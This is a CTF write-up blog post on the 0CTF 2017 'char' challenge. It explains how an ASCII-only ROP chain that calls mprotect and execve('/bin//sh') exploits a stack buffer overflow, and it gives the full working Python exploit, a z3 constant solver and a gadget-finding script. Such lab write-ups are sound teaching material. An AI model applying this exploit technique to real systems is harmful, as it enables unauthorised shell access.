Monday, March 20, 2017

0CTF 2017 - char (shellcoding 132)

The code in the "char" task was rather simple - you get to send in 2400 bytes of input (using scanf's "%2400s", so no whitechars allowed), then the input gets checked whether there are any non-ASCII characters (also excluding all control characters like newlines or tabs) and if that condition was met it would be copied using strcpy to a waaay-to-small stack-based buffer to trigger a standard stack-based buffer overflow. Since the application was compiled with NX, ROP was the go to solution.

One important detail is that the authors made it easier to solve by mapping a certain (provided) libc file directly into R-X memory starting at an ASCII-friendly address of 0x5555E000 - this was to be the main and only source of gadgets for this task.

So all that was left was to create an ASCII-friendly (w/o whitechars) ROP chain that gets either a shell or the flag directly. And it took me about an hour per controlled register (so ~5 hours total) to do it.

The exploit with quoted gadgets is provided at the end of this post, but before I'll get there here are some notes on my approach:

  • For gadget gathering I used a custom distorm3-based script that outputted only gadgets on ASCII-friendly addresses (it's at the end of the post).
  • Initial idea was to use mmap syscall to allocate a new RWX memory area, but that plan backfired since 32-bit mmap requires a defined structure in memory and I didn't really have an easy way to access writable memory (non-ASCII-friendly addresses).
  • Eventually I went after mprotect syscall to change 0x5555E000 area's permissions to RWX; mprotect required me to control 3 registers for parameters (EBX, ECX and EDX) and EAX for syscall number (and, as it turned out, ESI for the syscall invocation).
  • I started by doing a simple experiment to check how flexible mprotect's parameters really are (I've done it in a separate simple test program); thanks to this I found out that:
    - The address parameter MUST be page aligned (well, I actually already knew that).
    - The size parameter can be anything large; if it's too large mprotect returns an error, but still successfully remaps the existing pages to desired access rights (this I didn't know).
    - The protection flags (permissions) parameter isn't too flexible; value 0xF (instead of 7) still worked, but that's about it (any other bytes set made mprotect fail).
  • The first gadget I found was EB FE (jmp $ - i.e. infinite loop) which is super useful for debugging purposes (i.e. checking until what moment the ROP chain works correctly).
  • The rest of the way I went register-by-register, focusing on a single one until I was able to assign it the desired value.
  • For EDX (see setup_edx_flags) register I used three ASCII-friendly subtractions to get value 7 (representing RWX) into the register. The values themselves (0x6b5e7b63 - 0x3b363f38 - 0x30283c24 → 7) were generated using a simple helper z3 script (attached after the exploit near the end of this post). A lot of registers were corrupted due to the low quality of gadgets I had, so it was first on the execution list.
  • For EBX (see setup_ebx_addr) register I used three ASCII-friendly xor's to get address 0x55562000. Note that this isn't the beginning of the memory area, since you cannot get bytes with most significant bits set using ASCII-friendly xor's (i.e. you couldn't get the 0xE0 byte from 0x5555E000; but that's OK). Again, the values I've used were z3 generated (0x28243062 ^ 0x24222c22 ^ 0x59503c40 → 0x55562000).
  • For EAX (see setup_eax_mprotect) I've initially set the register to 0x4141417d and then used a movzx eax, al gadget the clear top 24-bits leaving only 0x7d (i.e. mprotect syscall number).
  • For ECX I didn't have to do anything, as it already had a sufficiently large value when the syscall was to be executed. Lucky me :)
  • Invoking the syscall (or actually a int 0x80 gadget) turned out to be tricky, as none of the gadgets were on ASCII-friendly addresses. I've ended up calculating the gadget address into ESI register (again, courtesy of z3: 0x69787631 + 0x7c74247b + 0x6f783045 → 0x5564caf1) and then using a fun little push esi; ret gadget which jumped to the int 0x80.
  • The above chain piece gave ma a writable and executable memory area. I initially thought of putting a shellcode there, but in the end it was sufficient to put (see poke) "/bin//sh" string on an address that had a null-byte naturally occurring at the end of said string, and then use that for execve function call (not to be confused with the execve syscall).
  • I've jumped to the execve function using exactly the same method I used to jump to the int 0x80 gadget. The parameters (on the stack, as, again, it was a function call and not a syscall invocation) included the address of the aforementioned "/bin//sh\0" string, followed by two addresses of a NULL ptr in memory (these would be treated as "empty argv" and "empty envp" tables).
And that was it.

gynvael:haven> python pwnbase.py 
Final ROP length: 312
You maybe feel some familiar with this challenge ? 
Yes, I made a little change 
GO : ) 

cat /home/char/flag
flag{Asc11_ea3y_d0_1t???}

A pretty fun task :)

The full exploit follows (and the z3 script is at the bottom).

#!/usr/bin/python
import sys
import socket
import telnetlib 
import os
import time
from struct import pack, unpack

def recvuntil(sock, txt):
  d = ""
  while d.find(txt) == -1:
    try:
      dnow = sock.recv(1)
      if len(dnow) == 0:
        print "-=(warning)=- recvuntil() failed at recv"
        print "Last received data:"
        print d
        return False
    except socket.error as msg:
      print "-=(warning)=- recvuntil() failed:", msg
      print "Last received data:"
      print d      
      return False
    d += dnow
  return d

def recvall(sock, n):
  d = ""
  while len(d) != n:
    try:
      dnow = sock.recv(n - len(d))
      if len(dnow) == 0:
        print "-=(warning)=- recvuntil() failed at recv"
        print "Last received data:"
        print d        
        return False
    except socket.error as msg:
      print "-=(warning)=- recvuntil() failed:", msg
      print "Last received data:"
      print d      
      return False
    d += dnow
  return d

# Proxy object for sockets.
class gsocket(object):
  def __init__(self, *p):
    self._sock = socket.socket(*p)

  def __getattr__(self, name):
    return getattr(self._sock, name)

  def recvall(self, n):
    return recvall(self._sock, n)

  def recvuntil(self, txt):
    return recvuntil(self._sock, txt)  

# Base for any of my ROPs.
def db(v):
  return pack("<B", v)

def dw(v):
  return pack("<H", v)

def dd(v):
  return pack("<I", v)

def dq(v):
  return pack("<Q", v)

def rb(v):
  return unpack("<B", v[0])[0]

def rw(v):
  return unpack("<H", v[:2])[0]

def rd(v):
  return unpack("<I", v[:4])[0]

def rq(v):
  return unpack("<Q", v[:8])[0]

def set1(ebx=0x41414141, esi=0x41414141, edi=0x41414141, ebp=0x41414141):
  """
  0x5557506c    pop ebx
  0x5557506d    pop esi
  0x5557506e    pop edi
  0x5557506f    pop ebp
  0x55575070    ret
  """
  return ''.join([
    dd(0x5557506c),
    dd(ebx),
    dd(esi),
    dd(edi),
    dd(ebp)
  ])

def set_ebx(ebx):
  """
  0x556a7742    pop ebx
  0x556a7743    ret
  """
  return ''.join([
    dd(0x556a7742),
    dd(ebx)
  ])

def set_eax(eax):  # Destroys ECX.
  return ''.join([
    set_ecx(eax),
    mov_eax_ecx()
  ])

def set_esi(esi):
  """
  0x55686c72    pop esi
  0x55686c73    ret
  """
  return ''.join([
    dd(0x55686c72),
    dd(esi)
  ])

def set_ecx(ecx):  # AL+0xA
  """
  0x556d2a51    pop ecx
  0x556d2a52    add al, 0xa
  0x556d2a54    ret
  """
  return ''.join([
    dd(0x556d2a51),
    dd(ecx)
  ])

def mov_eax_ecx():
  """
  0x556a6253    mov eax, ecx
  0x556a6255    ret
  """
  return dd(0x556a6253)
  

def set_edx_edi(edx=0x41414141, edi=0x41414141): # Zeroes EAX
  # 0x555f3555    pop edx
  # 0x555f3556    xor eax, eax
  # 0x555f3558    pop edi
  # 0x555f3559    ret
  return ''.join([
    dd(0x555f3555),
    dd(edx),
    dd(edi),
  ])  

def set_ebp(ebp):
  """
  0x5557506f    pop ebp
  0x55575070    ret
  """
  return ''.join([
    dd(0x5557506f),
    dd(ebp)
  ])

def add_esi_ebx():
  """
  0x555c612c    add esi, ebx
  0x555c612e    ret
  """
  return dd(0x555c612c)

def ret_to_esi():
  """
  0x556d262a    push esi
  0x556d262b    ret
  """
  return dd(0x556d262a)

def mov_ptr_edx_edi():
  """
  0x55687b3c    mov [edx], edi
  0x55687b3e    pop esi
  0x55687b3f    pop edi
  0x55687b40    ret
  """
  return ''.join([
    dd(0x55687b3c),
    dd(0x41414141),
    dd(0x41414141),    
  ])

def poke(addr, v):
  return ''.join([
    set_edx_edi(addr, v),
    mov_ptr_edx_edi(),
  ])

def setup_esi_syscall():
  # desired = 0x000EEAF1 + 0x5555E000
  # Constants generated by z3 helper script.
  a2 = 0x69787631
  a1 = 0x7c74247b
  a3 = 0x6f783045
  # Test:  0x5564caf1L (True)

  return ''.join([
    set_esi(a1),
    set_ebx(a2),
    add_esi_ebx(),
    set_ebx(a3),
    add_esi_ebx()    
  ])

def setup_esi_execve():
  # desired = 0xB85E0 + 0x5555E000
  # Constants generated by z3 helper script.
  # sat
  a2 = 0x69747441
  a1 = 0x7378747e
  a3 = 0x78747d21
  # Test:  0x556165e0L (True)

  return ''.join([
    set_esi(a1),
    set_ebx(a2),
    add_esi_ebx(),
    set_ebx(a3),
    add_esi_ebx()    
  ])

def sub_edx_eax():  # Destroys: EAX, ESI, EDI, EBP
  """
  0x5560365c    sub edx, eax
  0x5560365e    pop esi
  0x5560365f    mov eax, edx
  0x55603661    pop edi
  0x55603662    pop ebp
  0x55603663    ret
  """
  return ''.join([
    dd(0x5560365c),
    dd(0x41414141),
    dd(0x41414141),
    dd(0x41414141)    
  ])

def setup_ebx_addr():
  # Constants generated by z3 helper script.
  a2 = 0x28243062
  a1 = 0x24222c22
  a3 = 0x59503c40
  # Test:  0x55562000L (True)

  return ''.join([
    set_ebx(a1),
    set_ebp(a2),
    xor_ebx_ebp(),
    set_ebp(a3),
    xor_ebx_ebp()    
  ])

def setup_edx_flags():
  # Constants generated by z3 helper script.
  a1 = 0x6b5e7b63
  a2 = 0x3b363f38
  a3 = 0x30283c24
  # Manual test: 7 True
  
  return ''.join([
    set_edx_edi(a1),
    set_eax(a2),
    sub_edx_eax(),
    set_eax(a3),
    sub_edx_eax(),
  ])

def zeroext_al():  # Destroys EDI, EBP
  """
  0x55672a79    movzx eax, al
  0x55672a7c    pop edi
  0x55672a7d    pop ebp
  0x55672a7e    ret

  """
  return ''.join([
    dd(0x55672a79),
    dd(0x41414141),
    dd(0x41414141),    
  ])

def setup_eax_mprotect():
  return ''.join([
    set_eax(0x4141417d),  # 7d is mprotect
    zeroext_al()
  ])
  

def xor_ebx_ebp():
  """
  0x5563364b    xor ebx, ebp
  0x5563364d    ret
  """
  return dd(0x5563364b)

def ebfe():
  return dd(0x55585559)

def genrop():
  rop = ''.join([
    "AAAA" * 8,  # Padding.

    setup_edx_flags(),    # Don't touch EDX after this. Destroys: EAX ESI
                          #                                       EDI EBP
                          #                                       ECX

    setup_esi_syscall(),  # Don't touch ESI after this. Destroys: EBX

    setup_ebx_addr(),     # Don't touch EBX after this. Destroys: EBP

    setup_eax_mprotect(), # Don't touch EAX after this. Destroys: ECX EDI
                          #                                       EBP

    ret_to_esi(), "AAAA" * 4, # int 0x80 gadget pops 4x regs.

    # Assume from now: 55562000-55702000 rwxp 00004000
    poke(0x55563333 + 0, rd("/bin")),
    poke(0x55563333 + 4, rd("//sh")),

    setup_esi_execve(),  # Don't touch ESI after this. Destroys: EBX

    ret_to_esi(), dd(0x41414141),
    dd(0x55563333), dd(0x556b5274), dd(0x556b5274),  # Args

    ebfe()
  ])

  print "Final ROP length:", len(rop)

  if len(rop) > 2400:
    sys.exit("ROP is waaay too long.")

  if not all(map(lambda x: ord(x) in range(32, 127), rop)):
    sys.exit("ROP GEN FAILED:" + ''.join(map(lambda x:hex(ord(x)), filter(lambda x: ord(x) not in range(32, 127), rop))))
  
  return rop

def go():  
  global HOST
  global PORT

  rop = genrop()

  #with open("chain.rop", "wb") as f:
  #  f.write(rop)

  #return

  s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  
  # Put your code here!
  s.sendall(rop)

  # Interactive sockets.
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

  # Python console.
  # Note: you might need to modify ReceiverClass if you want
  #       to parse incoming packets.
  #ReceiverClass(s).start()
  #dct = locals()
  #for k in globals().keys():
  #  if k not in dct:
  #    dct[k] = globals()[k]
  #code.InteractiveConsole(dct).interact()

  s.close()

HOST = '202.120.7.214'
PORT = 23222
go()

The simple z3 helper script to generate values (it's rather simple and boils down to "I can do two subtractions/additions/xors on 32-bit ASCII-friendly values; give me specific values that will result in obtaining the desired value"):

from z3 import *
import json

desired = 0xB85E0 + 0x5555E000  # The final value.

a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)

res = a1 + a2 + a3  # The operation (addition in this case).

s = Solver()
s.add(res == desired)

for a in [a1, a2, a3]:
  for b in [0, 8, 16, 24]:
    bb = ((a >> b) & 0xff)
    s.add(bb > 32, bb <= 126)

print s.check()
s.model()

# Dumping the calculated values and testing the model again.
test = 0
for reg in list(s.model()):
  reg_name = str(reg)
  reg_value = s.model()[reg].as_long()
  test = (test + reg_value) & 0xffffffff
  print "%s = %s" % (reg_name, hex(reg_value))

print "# Test: ", hex(test), "(" + str(test == desired) + ")"

And the custom ROP gadget gathering script:

import distorm3 # https://code.google.com/p/distorm/downloads/list
import struct

# XXX Setup here XXX
TARGET_FILE = "libc.so"          
FILE_OFFSET_START = 0 # In-file offset of scan start
FILE_OFFSET_END = 1717736 # In-file offset of scan start
VA = 0x5555E000 # Note: PC is calculated like this: VA + given FILE_OFFSET
X86_MODE = distorm3.Decode32Bits # just switch the 32 or 64
# XXX End of setup XXX

UNIQ = {}
def DecodeAsm(pc, d):
  global X86_MODE

  disasm = distorm3.Decode(pc, d, X86_MODE)

  k = []
  l = ""
  ist = ""

  for d in disasm:
    #print d
    addr = d[0]
    size = d[1]
    inst = d[2].lower()
    t = "0x%x    %s" % (addr,inst)
    l += t + "\n"
    ist += "%s\n" % (inst)
    k.append((addr,inst))
    if inst.find('ret') != -1:
      break

  return (l,k,ist)

d = open(TARGET_FILE, "rb").read()

for i in xrange(FILE_OFFSET_START,FILE_OFFSET_END):
  addr = VA+i
  s = map(lambda x: ord(x) in range(32, 127), struct.pack(">I", addr))
  if not all(s):
    continue

  (cc,kk,ist) = DecodeAsm(VA+i, d[i:i+10])
  if cc.find('ret') == -1:
    continue

  if cc.find('iret') != -1:
    continue

  if cc.find('db ') != -1:
    continue

  if ist in UNIQ:
    continue

  UNIQ[ist] = True  

  print "------> offset: 0x%x" % (i + VA)
  for k in kk:
    print "0x%x    %s" % (k[0],k[1])
    if k[1].find('ret') != -1:
      break

  print ""


2 comments: